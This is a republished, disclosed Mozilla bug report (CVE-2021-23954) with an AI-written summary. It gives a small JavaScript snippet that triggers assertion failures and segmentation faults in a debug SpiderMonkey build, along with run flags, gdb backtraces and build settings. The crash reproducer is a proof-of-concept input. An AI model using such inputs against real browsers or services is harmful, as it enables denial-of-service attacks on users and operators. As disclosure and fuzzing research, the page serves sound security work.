Skip to content
DoS Disclosed report Advanced CVE-2021-23954

Assertion failure: next == JSOp::CheckThis || next == JSOp::CheckReturn || next == JSOp::CheckThisReinit || next == JSOp::CheckLexical, at vm/Interpreter.cpp:3715 or Assertion failure: v.isSymbol() || v.isBigInt(), at jsnum.cpp:1944

A crafted JavaScript snippet triggers an assertion failure in the SpiderMonkey interpreter, leading to a segmentation fault. The reporter is unsure whether the issue is security-sensitive.

Gary Kwong Follow

Originally disclosed on Mozilla

  • Fixed in 20 days
  • Paid in 20 days
  • Disclosed after 20 days
Text
'''js
switch (0) {
    case e &&= x:
    case x % 0:
        let x;
}
var e;
'''

Run with `--fuzzing-safe --no-threads --no-baseline --no-ion`:
'''
Assertion failure: next == JSOp::CheckThis || next == JSOp::CheckReturn || next == JSOp::CheckThisReinit || next == JSOp::CheckLexical, at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:3715

Thread 1 "js-dbg-64-linux" received signal SIGSEGV, Segmentation fault.
Interpret (cx=<optimized out>, cx@entry=0x7ffff6924000, state=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:3714
3714	        MOZ_ASSERT(next == JSOp::CheckThis || next == JSOp::CheckReturn ||
(gdb) bt
#0  Interpret (cx=<optimized out>, cx@entry=0x7ffff6924000, state=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:3714
#1  0x0000555556c1d398 in js::RunScript (cx=cx@entry=0x7ffff6924000, state=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:473
#2  0x0000555556c33173 in js::ExecuteKernel (cx=cx@entry=0x7ffff6924000, script=..., script@entry=..., envChainArg=envChainArg@entry=..., 
    newTargetValue=..., evalInFrame=..., evalInFrame@entry=..., result=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:839
#3  0x0000555556c335e0 in js::Execute (cx=cx@entry=0x7ffff6924000, script=..., envChain=..., rval=..., rval@entry=...)
    at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:871
#4  0x0000555556de07e2 in ExecuteScript (cx=cx@entry=0x7ffff6924000, envChain=..., script=..., rval=rval@entry=...)
    at /home/skygentoo/trees/mozilla-central/js/src/vm/CompilationAndEvaluation.cpp:424
#5  0x0000555556de09c2 in JS_ExecuteScript (cx=cx@entry=0x7ffff6924000, scriptArg=scriptArg@entry=...)
    at /home/skygentoo/trees/mozilla-central/js/src/vm/CompilationAndEvaluation.cpp:457
#6  0x0000555556b7c147 in RunFile (cx=cx@entry=0x7ffff6924000, filename=0x5b71ff8cccd27 <error: Cannot access memory at address 0x5b71ff8cccd27>, 
    filename@entry=0x7ffff7756020 "\230$\255\373\344\344\344", <incomplete sequence \344>, file=<optimized out>, file@entry=0x7ffff7756020, 
    compileMethod=<optimized out>, compileMethod@entry=CompileUtf8::DontInflate, compileOnly=false)
    at /home/skygentoo/trees/mozilla-central/js/src/shell/js.cpp:982
#7  0x0000555556b7b829 in Process (cx=cx@entry=0x7ffff6924000, filename=<optimized out>, forceTTY=false, kind=kind@entry=FileScript)
    at /home/skygentoo/trees/mozilla-central/js/src/shell/js.cpp:1573
#8  0x0000555556b44701 in ProcessArgs (cx=0x7ffff6924000, op=0x7fffffffd7e0) at /home/skygentoo/trees/mozilla-central/js/src/shell/js.cpp:10378
#9  Shell (cx=0x7ffff6924000, op=<optimized out>, op@entry=0x7fffffffd7e0, envp=<optimized out>)
    at /home/skygentoo/trees/mozilla-central/js/src/shell/js.cpp:11119
#10 0x0000555556b3d92e in main (argc=6, argv=<optimized out>, envp=<optimized out>) at /home/skygentoo/trees/mozilla-central/js/src/shell/js.cpp:11918
(gdb)
'''

Run with `--fuzzing-safe --no-threads --no-baseline --no-ion --blinterp-warmup-threshold=0`:
'''
Assertion failure: v.isSymbol() || v.isBigInt(), at /home/skygentoo/trees/mozilla-central/js/src/jsnum.cpp:1944

Thread 1 "js-dbg-64-linux" received signal SIGSEGV, Segmentation fault.
js::ToNumberSlow (cx=<optimized out>, cx@entry=0x7ffff6924000, v_=..., out=out@entry=0x7fffffffb670)
    at /home/skygentoo/trees/mozilla-central/js/src/jsnum.cpp:1944
1944	  MOZ_ASSERT(v.isSymbol() || v.isBigInt());
(gdb) bt
#0  js::ToNumberSlow (cx=<optimized out>, cx@entry=0x7ffff6924000, v_=..., out=out@entry=0x7fffffffb670)
    at /home/skygentoo/trees/mozilla-central/js/src/jsnum.cpp:1944
#1  0x0000555556d337c7 in js::ToNumber (cx=0x7ffff6924000, vp=...) at /home/skygentoo/trees/mozilla-central/js/src/jsnum.h:220
#2  js::ToNumericSlow (cx=cx@entry=0x7ffff6924000, vp=vp@entry=...) at /home/skygentoo/trees/mozilla-central/js/src/jsnum.cpp:1975
#3  0x0000555556c37cbb in js::ToNumeric (cx=0x7ffff6924000, vp=...) at /home/skygentoo/trees/mozilla-central/js/src/jsnum.h:236
#4  ModOperation (cx=cx@entry=0x7ffff6924000, lhs=lhs@entry=..., rhs=rhs@entry=..., res=...)
    at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:1540
#5  0x0000555556c37c17 in js::ModValues (cx=0x7ffff7bb19a0 <_IO_stdfile_2_lock>, cx@entry=0x7ffff6924000, lhs=..., lhs@entry=..., rhs=..., rhs@entry=..., 
    res=..., res@entry=...) at /home/skygentoo/trees/mozilla-central/js/src/vm/Interpreter.cpp:4833
#6  0x0000555557633d7d in js::jit::DoBinaryArithFallback (cx=0x7ffff6924000, frame=0x7fffffffbaa0, stub=0x7ffff69fa110, lhs=..., rhs=..., ret=...)
    at /home/skygentoo/trees/mozilla-central/js/src/jit/BaselineIC.cpp:2465
#7  0x00000bfd04b2ed73 in ?? ()
#8  0x00007fffffffbae8 in ?? ()
#9  0x00007fffffffba38 in ?? ()
#10 0x00007fffffffbae8 in ?? ()
#11 0xfff9800000000000 in ?? ()
#12 0x0000555558121c50 in js::jit::vmFunctions ()
#13 0x00000bfd04b38e39 in ?? ()
#14 0x0000000000009821 in ?? ()
#15 0x00007fffffffbaa0 in ?? ()
#16 0x00007ffff69fa110 in ?? ()
#17 0xfffa80000000000b in ?? ()
#18 0xfff8800000000000 in ?? ()
#19 0xfff8800000000000 in ?? ()
#20 0xfffa80000000000b in ?? ()
#21 0xfff8800000000000 in ?? ()
#22 0xfff8800000000000 in ?? ()
#23 0xfffa80000000000b in ?? ()
#24 0x00001f1f7d59b060 in ?? ()
#25 0x00007ffff695ba72 in ?? ()
#26 0x00007ffff67f36e8 in ?? ()
#27 0x00001f1f7d579040 in ?? ()
#28 0x00007ffff67f3678 in ?? ()
#29 0x00007ffff6924000 in ?? ()
#30 0x00007fffffffbb00 in ?? ()
#31 0x0000007800000002 in ?? ()
#32 0x0000000000000000 in ?? ()
(gdb)
'''

Run with the respective flags above, compile with `AR=ar sh ./configure --enable-debug --with-ccache --enable-gczeal --enable-debug-symbols --disable-tests`, tested on m-c rev f725a528bb4c.

Not sure if this is s-s yet.

The original report as published on Mozilla's Bugzilla, by Gary Kwong. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The crash could potentially be exploited to cause a denial of service or possibly execute arbitrary code, but the reporter is unsure if it is security-sensitive.

What the attacker needed

Ability to run JavaScript in SpiderMonkey

How it was found

  1. Compile SpiderMonkey with debug flags.
  2. Run the provided JavaScript snippet with the specified flags.
  3. Observe the assertion failure and segmentation fault.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report shows a bug in a JavaScript engine (SpiderMonkey) where a specific piece of code causes the program to crash. The crash happens because the engine's internal checks fail, which could potentially be exploited by an attacker to run malicious code or cause a denial of service.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by Gary Kwong

View all

42 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.